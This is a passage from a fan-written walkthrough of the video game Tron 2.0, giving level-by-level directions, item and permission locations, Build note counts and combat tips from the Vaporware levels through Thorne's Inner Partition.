Byte to enter the datastream that opens there. NOTE: This is a one-way datastream only and the Build notes are hidden only in the first part of this sublevel, so make sure you have found all four before entering the datastream!!!!! On exiting the datastream you will be in an area that has and outer ring and an inner circle, both of which are interconnected at every quater of the circle. In the inner circle you will find the port to exit this sublevel, but as of yet it is still protected by a force- field. To deactivate it you will have to supply energy to the four bits that are in the rooms connected to the outer ring. Going right from the entry point will bring you to the first room (the one with the number 1 outside, naturally). Go in and supply energy to the bit. Upon completion of this task a few ICPs will rez in and quarantine fields will be errected to hamper your movement in the outer ring. To get further right to room 2 you will have to use the inner circle. Going further right from room two and entering the inner circle at the next opening will enable you to download an e-mail form a bin(1). To the right of room 4 is another bin(2;4) with 'Submask (a)(15)' and 'Primitive Charge (a)(25)' ready for download. After taking care of all the bits and ICPs enter the port to end this sub- and mainlevel. On to Vaporware. Version: v1.7.1 b) Vaporware b.a) Lightcyclearena and Gridbox (9;7;1) (5 Build notes) After the cutscene you will end up in the staging area for Lightcycle warriors. To continue just walk over to the counter in front of you to get a Rod Primitve (which can not yet be used as a weapon, also your Disc and Blaster have been confiscated), which will activate the Light- cycle in the arena. After getting the Rod climb the stairs and go around either to the left or right side to the next program that wants to talk to you. You will also note a bin(2;4;6) with an e-mail that you can download later and a bin(npn) with P2, P6 and an e-mail within. NOTE: Before entering the port to either the training area or any of the Lightcycle races, make sure that you scoured every corner of the area for Build notes. New ones will appear on finishing a race, but the old ones may also disappear, so make sure you catch every note!!!! After talking to the program you should enter the port to partake in the tutorial for Lightcycleraces. The tutorial is again pretty self- explanatory. On finishing the tutorial (in Version 1.010 of the game you are also able to skip Lightcycle races) search the area for Build Notes, then talk to the program on the lower floor to start the first real race. When you exit the datastream after your win you will first see two ICPs standing at one of the panels. Go to them and listen to their talk. When they ask you which one wins, tell them the blue one will win (Option 2). Then wait and listen a bit and you will gain 5 Build points. Now look around for Build notes again and then go to where you made the tutorial and talk to the ICP there to gain P4. With this you can download the remaining e-mail. Also you should now look for the locker that can be opened with the P4 to gain the Super-Lightcycle. Now enter your next race. You win, you do some Build note searching, you do some talking and then you will enter your last race. What is different about this race is that you do not necessarily kill your enemies, but that your rather have to get to the other side of the raster and drive onto the fallen tower on the right side of the arena (marked by an exit point). Do this to finish this sublevel. Version: v2.1.6 b.b) Prisonercells (9;7;1) (4 Build notes) Talk to Mercury, then walk down the corridor and turn left. Depending on where the ICP stands either sneak up on him or charging at him. Now wait for Mercury to catch up. Talk to her until you receive the P1, then open the door and enter the area with the holding cells. You will have to be especially careful of the Finder in this area, since you do not yet have a weapon you can destroy it with. On exiting the doorway go straight ahead and walk around the back of the building that is in front of you. Enter the room you walked around through the door and derez the ICP. In it's core dump you should find the 'Suffusion (a)(np)' subroutine, which I suggest you port and equip before going further. With the Suffusion Rod take out the Finder and any remaining ICPs in the area to be able to move more freely. Some of the ICPs moving around on the outside will carry the P5 with them. Before going on you might want to empty the two bins in the area. The first bin(npn) in between the floating boxes will hold P2 and P6, the 'Virus Scan (b)(35)' and the 'Fuzzy Signature (a)(25)'. Use the boxes to reach the higher up ledge and through it the second bin(npn) with P3 and the 'Peripheral Seal (b)(i)(20)'. With all the permissions you have gained you are also able to open some of the cells now. In one of them is a COW, put it to good use. Also, take care that you pick up the two Build notes in this area, as it is a no return area. After getting all the goodies, enter the control room again and supply some energy to the bit lying on one of the consoles. Then follow it to ROMie's cell and open it, so that he can open the datastream to the next area of this sublevel. In the next area first use the I/O node to have Mercury tell you what to do next. Then seek out the ICP in the area and after his demise take out the two Encryption units. Then enter the lift to go up. On emerging from the lift seek and destroy any ICPs in the accessible area, then return to the lift. From the lift you can see floating boxes on one wall. Go there to find a bin(1;5) with P3 and 'Suffusion(a)(50)' in it. From there go right and go onto the ramp leading to the corridor (where nothing should be alive anymore if you took out all ICPs). Follow the corridor until the first room, enter it and look for the bin(npn) with the P4 in it. Then go to the next room with a bin(3) con- taining an e-mail and 'Y-Amp (b)(75)'. Back to the lift. You have now the permissions needed to enter the building besides the lift. Enter it and the datastream within. Now go around one of the corners and take the two ICPs out. On picking up your Disc a few more ICPs will come in throught the datastream. Take care of them and then go ahead to empty the bin(npn) with the following: P8, 'Power Block(a)(25)', 'LOL(a)(np)(65)' and 'Peripheral Seal(a)(i)(15)'. You should also have all four Build notes by now. Return to the hall by datastream and go to the white patch routine, while fighting off the four ICPs that are waiting for you here. Right by it you will find a forcefield on the floor and a panel beside it. Use the panel to lower the forcefield, go down the ramp and follow the corridor to end this sublevel. Version: v2.7.4 b.c) Transportstation (9;7;1) (5 Build notes) Exit the room with the I/O node and suggest to the ICPs that they should better leave. After their expiration go to the boxes and open the bin(npn) to find P2 and 'Virus Scan(g)(50)'. Go on and walk through the corridor at the end of the room. Be careful on exiting it. There will be a Finder floating about to the upper right. Also an ICP will patrol the ledge in the about the same direction as you can see the Finder. On a ledge to the left above you will be a few more ICPs (one with Sequencer as weapon). Take out the Finder and the ICP to the right , then turn in that direction. You will find a ramp to the next higher level. Go there and fight back the remaining ICPs, then go over the energy bridge to the left and access the bin(npn). It will hold P2, P3, 'Virus Scan (b)(35)' and the 'Viral Shield (a)(i)(20)'. After this go back to the ramp and to it's right, download the e-mail and activate the bridge. Then return to the ramp and go to the lower level again, we will do some extra hunting. Position yourself in front of the left of the two squares where the boxes are coming out. Jump onto one when it comes close enough to allow it. Depending on the direction it takes when reaching the highest level you will either end up on a box or on a ledge near a patch routine. Whatever your loacation , make your way to the bin in the corner by using the boxes. The bin (npn) has P5 and 'Sequencer (a)(40)' in it. Now jump back to the patch routine and go to the end of the ledge. Once ther jump over the blocks to the other side and go around. Now wait for the gold box to appear from the square and jump on it. Jump off it on the ledge with the COW. To get back down you will have to use a few boxes that come up towards you to reach the ledge with the patch routine again, then go to its end repeat the jumping over to the other side and then jump onto one of the red boxes instead of the golden one. Then jump onto the platform beside the bridge you activated earlier. Two Build notes should be in your possesion right now. Go towards the I/O node, but rather than activating it right away you should first take out the Finder to the right and the two ICPs in the area behind the wall to which the I/O node is fitted. Two more Build notes are hidden in the area with boxes here also. Now get some updated info from Mercury and continue to the right. Go to the bin(npn) on top of the boxes close to where the finder was patrolling to get an e-mail and P5. Get down and advance further into the room, up a ramp and get to the stack of boxes hiding another bin(5) with P1 and another e-mail. Then go around the stack, enter the next room and take care of the ICPs here. First go to the right of the room to reach a bin(2;3;5) with these items: P4, P7, 'Primitive Charge (a)(i)(25)' and 'Profiler (b)(i)(35)'. Now go to the door on the left and out onto the platform where the civilian program is. Press the button on the left side of the board to release the first Mooring App. Go back the way you came and watch out for the ICPs that spawned. In the area behind the I/O node you will now also be able to download the e-mail form the bin(1;5) there. Then go through one of the three tunnels into the large hall and remove the remaining two Mooring Apps there. Then, you can either make it quick and jump on the transport fast, or you can hang around and take out the last few ICPs that want to stop you. Congratulations on another finished sublevel. Version: v2.9.1 b.d) Primary Digitizer (9;7;1) (5 Build notes) After the cutscenes (with some Pong jokes) go ahead and download the e-mail form the bin(npn) then exit through the door, take care of the two ICPs in front of it and download the P4 from the core dump. Turn left and walk towards the boxes now. Use the boxes to climb to the top of the wall and jump over to the other side. Delete the 10 or so Z-Lots in the large open area and the two smaller halls to the left and right. After this enter first the hall on the left to find two bins there. The first bin(npn) holds P3, the other bin(npn) has 'Sequencer (a)(i)(50)', Suffusion (a)(50)' and 'Fuzzy Signature (a)(i)(50)'. Then go to the bin (3) to find 'Sequencer (b)(80)', 'Primitive Charge (a)(i)(25)', 'Profiler (a)(i)(25)' and 'Profiler (b)(np)(35)'. Before getting Byte you may want to go to the bin(npn) hanging beside the door with the forcefield locking it. To rejoin with Byte just go to the far wall on the left (below the area with the corruption in it). Talk to Byte, then follow him and let him drop the forcefield. Enter the corridor to find a COW and tunnels branching off into three seperate directions. Go into each and go close to the edge of the door- way there and look down to check for possible Build notes, after that you may choose one of the to jump down. Then check the bins in the back of the room. The right bin(3) will hold a P5, 'LOL (a)(i)(50)', 'Guard Fortification (a)(15)' and 'Launcher (a)(i)(75)'. The left bin(3) nets you an e-mail, 'LOL (a)(50)' and 'Fuzzy Signature (b)(np)(75)'. After your raid, go to the other end of the room (while opening all available doors to check for Build notes) and open the door on your left to enter Ma3a docking area. Remove the presence of the ICPs here. One of the ICPs holds a 'Profiler (a)', another a 'Fuzzy Signature (a) (np)', and the other hold P3's in their core dumps. Now you should re- lease Ma3a. Do this by supplying energy to the two bits in the panels in front of Ma3a's holding tank. Also check if you have found 4 Build notes up to now, this is vitally important if you want to get all Build notes in this sublevel. After the releas of Ma3a another few ICPs will spawn to attack you. On their premature deactivation talk a few times to the civilian program in the area to get P7, with which you can activate the switch in the middle section of the room you originally jumped into. Remeber to not stand below the lift when you call it. :) Board it to go up and enter an area you will find quite familiar. Turn right and use the boxes again to scale the wall another time. Again you will also have to fight off a few Z-Lots, one on the left side will have a 'Corrosion (a)' subroutine in its core dump, which I suggest you get here. Then make your way to the large force field in the back of the area and talk to Byte there. After he takes down the forcefield follow Byte to the exit area, while being harrased by Z-Lots and having to keep a look-out for the last Build note of this level. After you reached the port area you will have to fend off the Z-Lots until the cutscene starts. Congratulations on getting through the second main-level. Version: v3.2.3 c) Legacy Code c.a) Alans Desktop PC (3;3;2;2;1) (3 Build notes) On rematerialization follow Ma3a to the bin(npn) and talk to her, then download the video archive, after that do some more talking until Ma3a gets a signal from Guest. Follow her to the I/O node, where she will request of you to configure the com-ports. To do this you will have to go to the other side of the hall, where another I/O node is off to your right and where four programs are waiting for their activation in a slumped down position. To configure the port (ports 1-4 are numbered from left to right) look at the ports from the second I/O node and look at the rings on the floors of the ports. These rings are open to one side. If the opening is showing towards the entry of the port go to the corresponding program and talk to it (e.g. Prog 2 for port 2) and wait until it has entered it's port. Right beside the second I/O node you will also find a panel with which you can change the directions into which the rings are pointing. To turn them you will have to press the switch to the lower right in the panel. Configure all ports in this way. Use the second I/O node now to gain additional information and also on how to go on with your mission. You are now sent off to hunt e-mail fragments. To start with this go into the corridor that is to the right of the one where the I/O node you just used is and follow it until you find a room with a forcefield and a lot of empty and a few filled archive bins. One bin(npn) holds just an e-mail, another bin(npn) con- tains an e-mail and 'LOL (a)(65)' and the third bin(7) a P3. To continue on press the button on the panel close to the forcefield to extend a bridge. Go to the middle of the bridge, turn left and talk to the program there to gain the first e-mail fragment. Then return to the bridge and continue on to a one-way datastream. Be wary of the Finders that spawn after you retrived the e-mail. On exiting the datastream you will end up in a room that looks similar to the first bridge room. In one bin(npn) you will find an e-mail and a P5, in the other bin(5) you will get 'Triangulation (b)(100)' and 'Suffusion (b)(np)(90)'. Now go on to the middle of the bridge and talk to the program. This time you will have to destroy the finders before the program can retrieve the e-mail fragment. While doing this a few more finders will come in through exits on the far left and right walls , be very wary of them or they will attack you from behind. The LOL would be a very good weapon to use. The best way is to hide behind the triangle shaped block and to lean and take the Finders down. No matter what the battle will be not an easy one, because of the Finders high rate of fire. Good Luck. If part three of the e-mail quest you will get the same treatment as in part two, only with more Finders and the Finders from the walls will now come in through entrance high up on the wall. In the room you start you will see a bin(npn) with an e-mail within. After gaining access to the last e-mail fragment, go on on the bridge and use the I/O node located there. Then go on and use the lift to end up back in the com-port area. As of now the security system of the desktop PC will have taken notice of your presence. Therefore you will have to battle a few ICPs on your return topside. Also you will have gained P7 by now, which will allow you to raid the bin with the P3 that you could not access earlier. With this permission you can access the bin(3) beside the lift, with P8, an e-mail, 'LOL (a)(50)', 'Virus Scan (b)(np)(35)' and 'Suffusion (b)(90)' within it. Go back to the port with which you entered the sublevel and activate the bit on one of the pillars to end this rather short level. Version: v3.8.5 d) System Restart d.a) Packet Transport (6;5;3;1;1) (5 Build notes) You are now in a transport and have to find a hiding place before they find and delete you. First talk to the Marcella program, then go to the back of this car (think of the transport as a train, with you being in the front car of it) to find two bins in between a few boxes one bin(npn) with an e-mail, the other bin(npn) with P1 and 'Cluster (a) (45)'. Now use the ramp to go down and take care of any ICPs in this car. There is also a ramp on the other side of the car, go up there now. Two ICPs will have useful things in their core dumps, one carries a P3 (enabling to open the doors on the upper level of car 1), the other will hold a 'Profiler (g)'. One the upper level you are now you will find P6 in a bin(npn). Check the doors on the upper levels of car 1 first before exploring its lower level. On the lower level you will find hidde in a niche, behind some boxes a bin(1) with P3 and two subroutines, which are 'Guard Fortification (a)(25)' and 'Fuzzy Signature (b)(75)'. Also there is another program you can talk to on the lower level. Do this, then exit the car through one of the doors on the lower level and jump over to the next car. Use the left door to enter, but be wary of the enemies to your right. Now go straight, then right, then another right and then a left to reach a room below the upper walk way with two bins in it. One bin(1;3) has a P2 in it, the other bin(npn) contains an e-mail. Now exit the room, go right and then turn right and use the blocks to jump up onto the walkway. Go on and take down the ICP (with P4), then walk on and look down the edge of the walkway until you see a Build note (this one is in a fixed location) and jump down there. From there go right and right again to find another well hidden bin(1;2;3) with P4, 'Base Damping (a)(15)' and 'Triangulation (b)(100)'. Now make your way to the exit of this car, and jump over to the next. In the third (and last) car you will find ICPs patrolling the lower level, so you will have a battle ahead of you. Be especially wary of the ICPs carrying shield, either use Ball weapons or the Power Block to defeat them. After the battle search the right side in the back of the car to find a bin(1;2;3;4) with a P5 in it. Also you should have gotten at least P6, P7 and P8 from ICP core dumps. Now use the ramp on the left side to go up one level and to reach a bin(1;2;3;4;5) with P7, 'Profiler (g)(i)(50)' and 'Y-Amp (b)(i)(75)' in it. Now use the front door of the car (the one pointing towards car 2) to find a COW(P6 needed to operate) which you will put to good use. Then go to the right side of the car. There you will find to the front a bin(npn) with an e-mail and a bin(6) with a 'Suffusion (b)(np)(90)'. Now go to the lower level and exit the car to its back. There you should find a program that will tell you how to avoid deletion (he might have gone inside during your battle). Then check if you found all Build notes in this sublevel before finishing it by using the left side back door on the upper level of car 3. Version: v4.0.5 d.b) Energy Regulator (6;5;3;1;1) (4 Build notes) Upon start of the level you are hidden between a few boxes in the middle of a huge hall. Use the LOL or the Disc/Triangulation combo to take out first the ICP on the far platform to your left, then the one on the right to be able to move about more freely. Then make your way over to the left side platform first. Use the red and blue boxes to get to the bin(npn) with P5 and P6 inside first, then go on to the next bin (5;6) to download the video archive in there. After this go to the forcefield on the right side and deactivate it with your newly gained permission and enter the datastream after this. On exiting follow Byte a few meters and then take out the ICPs and the Finder. Before you can activate the I/O node where Byte is waiting you must go to the bins at the far end of the room. One bin(5) holds the needed P2 and a 'Base Damping (a)(15)' and a 'Submask (b)(i)(20)', the other bin(npn) holds three e-mails. Now communicate with Ma3a then go on down the floor and enter the datastream. Now go straight ahead to the end of the walkway (oh, and while you are at it you could also take out the opposition) to the bin(5;6) with P1, P6 and 'Virus Scan (g)(np)(50)' in it, then go back to the crossroads and use it. At its end first search the area on the right, then go down the left way. Then just follow the way until you reach the panel with the patch routines beside it. Charge your energy (important) then turn right and go towards the edge. There you will see a moving floor. It will always move three sections further. The first part of the way will be solid in the last part of the way a few floor panels will be missing . Here it is moving fairly slow, so it should be no problem getting to the other side here with a bit of jumping. Once you reached the other side, take down the ICPs then follow each of the three branches to its end and energize it. After this you will have to do some more panel jumping. The pattern is like the first one, only this time the panels move faster. Upon your safe return to the other side you will be assaulted by several ICPs. Also, a new branch to the right will be opened by the civilian program in the area. After going down the newly opened branch watch your back carefully, because two ICP with Sequencers will come up behind, additionally you will have more ICPs opposing you in the direction you need to go. Take them out before going to the area with the boxes and two bins floating among them. One bin(1;6) holds an e-mail, the other bin(1;6) the 'Cluster (a)(45)' and the 'Fuzzy Signature (b)(75)'. Walk on down the way until you reach Ma3a, then enter the datastream behind her to end this sublevel. Version: v4.3.0 d.c) Power Occular (6;5;3;1;1) (3 Build notes) Ma3a needs you to clean up the area, well, go on, do it. After cleaning the area of all ICPs and the lone Finder go back to where the patch routines are near your starting point. Go up the stairs opposite of them and turn right to find a bin(npn) with an e-mail, P4 (can also be gained through one of the ICPs in the area), 'Triangulation (a)(75)' and 'Triangulation (b)(np)(100)'. Then use the boxes to reach the bin (4) that is floating shortly after the starting point and access the video archive in it. Now go to the bin(4) with four subroutines contained within it, which are 'Submask (b)(20)', 'Guard Fortification (b)(20)', 'Base Damping (a) (i)(15)' and 'Encryption (a)(i)(15)'. The bin(npn) floating above this one holds an e-mail. Now talk to Ma3a, then take the lift that just appeared and ride it to the lower level. To the left you will see a few bins, but we will come back to them later. Rather turn to the right now and talk to the program there. After talking to the program for a bit he will lower a bridge with a few boxes on it. Use it to cross to the other side, then turn left and follow the corridor to its end. There will be ICPs waiting for you. One of the ICPs will hold a P6. Now use the other bridge to get to a datastream. To your right you will also find a COW, but you might want to keep it around for the beta LOL you will find later, so you can upgrade it to gold level. Use the data- stream now. To your left are a few boxes and a bin(npn) with 'Cluster (a)(i)(45)' and two e-mails. For solving the mission however you will have to turn right. Jump over, then use the bit to the right, then use the moving platform to get to the other side. Move further right, pass the junction to the next bit and jump onto the moving platform in front of you. From there get to the last bit and activate it (No), then use the moving platform that is opposite to the bit. On the other side go right , jump over and activate the bit there (Yes), now go back to the last bit and use it again (Yes). Now jump back to the bit that is second to front (where you came in through the datastream), and activate it (Yes) also. Get back to the first bit and use it as you used the others. Now the lenses are configured. Return back topside through the datastream. First take out all ICPs on this level. Now it is time to raid the two bins that could not be accessed earlier. The first bin(4;6) nets you a 'Y-Amp (g)(i)(100)'. The second bin(4;6) holds a 'LOL (a)(65)', 'LOL (b)(110)' and an e-mail. Make sure you get the LOL beta and, if you have not used it yet, I suggest that you use the COW in this area with it. After getting everything you want go to the control room opposite of the bins and use the panel there to turn the Occular. Then go back up topside to Ma3a. The Build notes should all be in your possesion by now. Talk to Ma3a, then use the datastream to get up into the control tower. From there snipe all ICPs (therefore also my suggestion to get a gold LOL) trying to reach Ma3a until the timer has reached zero. The ICPs will attack in waves, use the time in between waves to recharge your energy at the conveniently located patch routine. After your sucessful defence you will have finished this main level. Version: v4.7.6 e) Antiquated e.a) Testgrid (6;3;3) (0 Build notes) Now you will have to fight your first Seeker. There is one very important rule that you will have to follow when fighting a Seeker, never and I mean never stand too close to it. I can kill you in one blow if you are too close. If you want to defeat it easily use the Disc or Sequencer from a few meters off and throw it repeatedly at its head until the energy discharge starts. At that time it will bury itself and three Resource Hogs will spawn. Take them down and if possible use their core dumps to heal and recharge your energy (or get to the patch routine if that is possible). After the Hogs are defeated watch the ground closely, so that you can tell where the Seeker will appear. Position yourself right and repeat what you did before and you should have no trouble defeating it, although this method will take a little time. After defeating it you will have mastered another sublevel. What is more at the end of this sublevel you will also regain the Blaster Primitive, that got taken away from you during the 'Program Integration' sublevel. Version: v4.8.6 e.b) Main Processor Core (6;3;3) (4 Build notes) Upon entering this sublevel you will first meet I-No, talk to him for a little while to gain a bit information about this old system. Then use the I/O node and then go on to the forcefield to your right. I-NO will lower it for you and then the fun starts. Both on the left and right tanks will move into firing position. They will start to fire at you as soon as you show yourself. Luckily you are a bit faster and can evade the shells of the tanks. What makes the next part hard is that you have to cross over to the other side of the hall first. You will have to do this by interconnected platforms that can be destroyed by the tanks and although the platforms will reform after a while it is still frustrating standing on a platform in the exact same moment that a cannon shell hits it. The only thing I can say is Good Luck. If you made it to the other side go to the bin(npn) in between the boxes to get a P3 and an e-mail. Also on the back wall a COW will be moving around. He will travel in a circle, just wait until it gets down. After using it and getting the Build note (this one seems fixed) on top of the boxes return to the huge pillar in the middle of the room and activate one of the panels that are located to its left and right sides to go up. On reaching the topside you will have to deafeat 4 Resource Hogs with one holding a 'Peripheral Seal (a)' in ist core dump. After their defeat activate each of the four panels located on the edge of the middle platform. Use the I/O node on the upper ring and talk to I-NO, after this a one-way datastream will open on the middle platform, use it to go on. You will end up in a room connected to a circular walkway. The walkway has a room after each quater of the circle. Also there is only one way to go around and after appearing in a new room you will have to fight off several Resource Hogs, so be prepared. On the opposite side of the first room you will find two bins, one bin(npn) with an e-mail and an- other bin(7) with P8 in it. Since you can not do very much here now, I suggest that you go on to the next room. On trying to exit the first room a few Hogs want to keep you from doing exactly this, one will gain you a P5 and another a 'Peripheral Seal (b)', though. As it is you can not do very much in the second room either, just now, since you are still missing a few permissions, so go on to the third. Don't stay in the third either, where you want to go is the fourth room. On the raised platfrom in the back left of the room are a few boxes, and a bin(npn) with P6 and 'Sequencer (a)(25)'. With the P6 you will now be able to access the bin(6) in the third room with a P7, and with this you can get the contents of the bin(7) in the first room. One of the Hogs might carry the P8 around also in its core dump. Now we will empty the bins in room 2. Go there to the raised platform on the left side and you will find 3 bins among the boxes there. Two bins(7) will hold one and two e-mail respectively, the other bin(8) holds a P5, P7, 'Cluster (b)(i)(90)' and a 'Fuzzy Signature (b)(15)'. After we have raided all the bins we can set out to do what we came here for. First go to room 2 and activate the panel on the raised platform there, then do the same to another panel in room 4. Now return to the I/O node in room 1 and talk to I-NO there. After this you have finished this sub- level and will be automatically transported to the next. Version: v5.1.7 e.c) Old Gridarena Now you will be treated to three consecutive Lightcyclematches. After defeating the opposition in each room try to get a Shield power-up before exiting the current area. You will have to find an exit in each arena which will be on a wall. It is a section that was protected by a forcefield during the race. While going to the next section you will have to evade a few Tank programs. On winning the third you will get an exit point, just drive over it. Good Luck programs. Version: v5.2.7 e.d) Main Energy Pipline (6;3;3) (4 Build notes) After you get your mission update, walk around the boxes and take care of the Resource Hogs, then go to the empty bit socket and turn right there. Down by the boxes there you will find the bit for the socket. Supply it with energy and activate it to go on. After crossing the energy bridge look for a bin(npn) behind the boxes to find a P2, 'Peripheral Seal (a)(np)(15)', 'Triangulation (b)(100)', 'Submask (a) (15)' and 'Base Damping (b)(20)'. Then go on up the ramp to the left. On reaching the top of the ramp you will be in a room with two huge pillars in its middle. First derez the Resource Hogs hanging around. Then turn left to find a bin(2) on top of a few boxes with an e-mail in it. Then go around and exit the hall on the other side. Now you will end up in a room with a lot of moving platforms and a countdown running. On the left, right and front wall are platforms with a button to push. You will activate all three switches to solve this part. The left one should be the easiest to reach, then go on to the middle one and activate the right one last. You will get a bonus on your countdown after activating one of the switches. After the last switch has been activated the platform you are standing on will auto- matically rise to the top, so stay on it. Also be wary of the two Finders floating around above you. On reaching the top first take care of the Hogs coming in through the door then turn your attention to the bins in the middle section. The lower bin(npn) of the two holds P5, an e-mail, 'Corrosion(a)(i)(100)' and 'Corrosion(b)(225)'. The other bin(5) contains just an e-mail. Enter the large hall through the door that was defended by the Resource Hogs. Now jump over the obstacles to the right of the door to reach a COW. To the left of the door you may find a Build note so check there, too. Then go to the floating boxes and bins on the left side of the room. In the lower bin(npn) is a P3, in the upper bin(3) is an e-mail. After the retrieval talk to the program on the far side of the room. Jet has proven his persuasive skills and a datastream will now be open for you to enter, do so. You will end up in the sphere you just saw from the outside. Talk to I-NO and wait for him to extend the ramp to the Legacy Code. Walk up the ramp and retrieve the code disc to end this mainlevel. Version: v5.6.5 f) Master User f.a) City Hub (6;2;2;2;1) (5 Build notes) Welcome to the City program. First turn around and go around the right corner to find a program that will give you a 'Viral Shield (b)', an offer you can not turn down (unless you used COWs on the Viral Shield). Now you should check the immediate area for Build notes, as you will not be able to return here. After your check activate the panel to call a transport to the other side. Leave the transport and walk to the right where you will find a bin(npn) with P5, 'Viral Shield (a)(20)', 'Launcher (b)(i)(115)' and 'Virusscan (b)(np)(35)'. Then look for any Build notes in the area, this is also a no return area ynd you should have three before talking to the program in this area. Look for the low level compiler and talk to it. You will find it when you enter the door further down on the right side wall. In there you will also find a bin(5) with an e-mail. After the talk an new challenge will spawn. You will have to defend the three towers in the middle from the corruption forces for 2:00 minutes when a few ICPs appear to help (yes, help) you. It would be best to install the Viral Shield in your memory, so that your subroutines do not get infected so easily. Be especially on the lookout for Z-Lots that are on the walkways that connect the towers, as they are the ones that will be responsible for taking them down. They should be your first priority to destroy, then attack the other Z-Lots. You may also have to battle against your first Rector Scripts here, be careful around them as they can pack a punch and also do not go down easily. When the cutscene with the ICPs and Mercury is finished check the area around the Progress Bar for Build notes first, also a COW will be in front of the bar. Go to the patch routines and walk through the arcway to the left. Right after passing under it you will find a few boxes and a bin(npn) with 'Viral Shield (a)(20)' and 'Launcher (a)(75)' in it. Go up the ramp to the back alley. Here you will find a few Z-Lots and a Rector Script harrasing a civilian program. Help it by eliminating the corruptive forces. Several of the Z-Lots will carry 'Corrosion (a)' and one will carry a 'Launcher (a)'. After the demise of the enemy talk to the program you just saved to get a P3. Go to the I/O node at the entrance to the alley and talk to Guest there. Check if you have gotten all Build notes and then go to the entrance of the Progress Bar and meet back up with Ma3a and end this sublevel. f.b) Progress Bar (6;2;2;2;1) (4 Build notes) The first part of this level is fairly easy. First you should set out to find all four Build notes and while you are at it, disinfect any subroutines from the preceding battles if you have not yet done so. Also look for the COW on the back wall of the lower level. If you enter the datastream to the upper level you will find to your right one bin (npn) with an e-mail and P8 and another bin with P6, 'Profiler(g)(50)', 'Virus Scan(g)(50)' and 'Y-Amp(g)(75)'. After your gathering operation talk to all programs in the area, until you have to talk to the DJ, who wants to know what the other programs would like to listen to. Ask the programs then tell the DJ the answer (usually Track 6). There are 3 programs on the lower and two on the upper floor to ask. Now you are able to talk to the High Level Compiler, who will agree to compile the TRON Legacy Code. Then talk to Guest through the I/O node on the upper level. Interesting turn of events, wouldn't you say? And this is not the end of it, because now, Thorne, the Master User will make it's presence known. You will have to defend Ma3a for 3:00 minutes during the compilation of the code. When Thorne charges up a sickly green energy ball fire your weapon at it until it disappears, then take care of the hordes of Z-Lots pestering you until Thorne charges up his next ball. The best way to finish this fight is to go to the upper level, as there is only one Z-Lot up there (with a 'Drunken Dims (a)' subroutine), and you can hide in the back where the I/O node is to protect you from the attacks of the Z-Lots on the lower level. You will also be able to access the white energy patch routine, which will en- able you to use energy based weapons on a more free basis. Stop all of Thornes energy balls until the timer runs out and you will have finished this sublevel. Version: v6.0.7 f.c) Outer Raster Getaway Another Lightcycle level, this one works just like the one in the EN12-82 system minus the tanks. Oh, and did I mention, Run, User Run. :) :P Version: v6.2.7 f.d) fCon Labs / Ma3a gets saved Not really a level, rather a cutscene with its own description f.e) Remote Access Node (6;2;2;2;1) (5 Build notes) In this sublevel you will find only Resource Hogs as your enemies, so be prepared to fight a few long range battles. After the talkage heal up if you need to do so and start to disinfect any subroutines that got infected during your battle with Thorne. Turn around and take the right turn at the junction. Go on and take another right and at the next junction go down to the left to find a bin(npn) on the left wall with P1 in it (which can be also gleaned from one of the Hogs on this upper level). Right opposite of the junction you just walked down, close to the edge is a formation of three cube like objects where the last one is a bit higher than the first two. On there you will find a bit that needs some energy, supply it. Then follow the bit to a datastream. Go up to the area with the many boxes and the five bins. The first bin you should (and can) access is the bin(npn) with a P4 and an e-mail in it. Then there are two more bins(4) with an e-mail each in it. The bins with the subroutines can not be accessed just yet, so you will have to wait a bit. Check if you have gained the two Build notes from the upper level before entering the data stream you opened with the bit. Enter the data stream and take care of the Hogs on the next level. Then walk left form the datastream and enter the space between the large two blocks towards the edge of the open space of this level. Look down to see a few blocks and a bin further down. Jump down to the bin(npn) for P5, then jump back up again. Go further left to find another bin(5) and get P1 and P8 from it. On the oppsite side of the block this bin is hanging in front of you will find another bin(npn) with an e-mail in it. Now go further left to find a dead end with another bit needing energy. Supply it and then go to the right of the datastream to find another datastream that will take you down to the floor level. Also, see if you have gained another two Build notes on the middle level before entering the stream. On the floor level, first take out the Hogs, then access the bin(npn) to the left of the datastream for a P2 and a P8. After this walk to the boxes to the right of the datastream and scale them to reach a COW. Then search the area for the last Build note. After you have done this activate the bit on the panel right opposite to the datastream. Now get back to the toplevel, we will now take care of the two bins we could not access earlier. Oh, and we will also take care of the blue ICPs that want to stop you. The first bin(1;2) with three subroutines holds 'Power Block (b)(np)(75)', 'Cluster (b)(90)' and 'Sequencer (b)(80)', the second bin(1;2;8) has a 'Triangulation (g)(125)' and a 'Profiler(b) (35)'. Now return to the junction where you found the bin with the lone P1 in it. Talk to Mercury, who is waiting for you there, a few times and you will end this main level. Version: v6.6.6 (The version of the beast) g) Alliance g.a) Security Server Another cutscene with its own designation g.b) Thornes Outer Partition (10;4;1;1) (5 Build notes) What you never thought possible has happened, you are now allied with the forces of the Kernel that was out to eradicate you during the first part of the game. The first thing you have to do is make your way down to the lower level, do this by turning around and going to the left hand side, there you will find a possibility to go down. Now go up to the ICPs that you could already see from the ledge. Then go on to the bin(npn) on the left side with a P6, an e-mail and 'Corrosion (a)(i) (15)' in it. Now use the twisted bridge to assault the Z-Lots on the other side, this time you will have help from the ICPs of the Kernel. Before doing anything else fight your way through to the end and eradicate and corruption forces you find in the area. The end of the 'assault area' is where there are a lot of defeated ICPs lying around. Also there is a white patch routine to the right. Now go back towards the bridge first to start retriving data from the bins you could not access because of the raging battle. Opposite of where the health ball was (about the middle of the battlefield) are two bins(npn) of which one holds 'Launcher (a)(25)' and the other the P8 get it. Now go back to the area where the deafeated ICPs are lying around. To the left of the street you will see a few pieces of floating debris, use it to jump over to the pillar like remains on the other side. There you will find a bin(npn) with the 'Drunken Dims (a)(50)' Subroutine. Jump back and get to the bin(npn) near the white patch routine with an e-mail and 'Encryption (b)(20)' in it. Now go on until you reach and I/O node and use it. After the talking go over to the other side of the room and use the datastream there. Go ahead, use the ramp on the right side, take out the Z-Lots, then go to the area with the moving rings. Once there you will have to destroy the Rector Scripts that are spawned in the middle of the rings while simultaneously having to defend yourself from Z-Lots. After this battle the sublevel will be finished. Version: v7.0.0 g.c) fCon Labs / Data Wraith Preparation Another Cutscene. g.d) Thornes Inner Partition (10;4;1;1) (5 Build notes) After talking with the defeated program get out of the room and walk down the slope. Be careful in this level, as there will be quite a few Rector Scripts lurking around. At the base of the slope first turn left to find a bin(npn) with a P1 and e-mail in it and another two bins(1) also containing an e-mail each. Then go to the right where you will find a few patch routines. Then go on and defeat the Z-Lots and the Rector Script that are blocking you way, until you find another defeated ICP lying by the wayside. From there take a right turn. You should find a energy patch routine to the right and a bin to the left above you on a 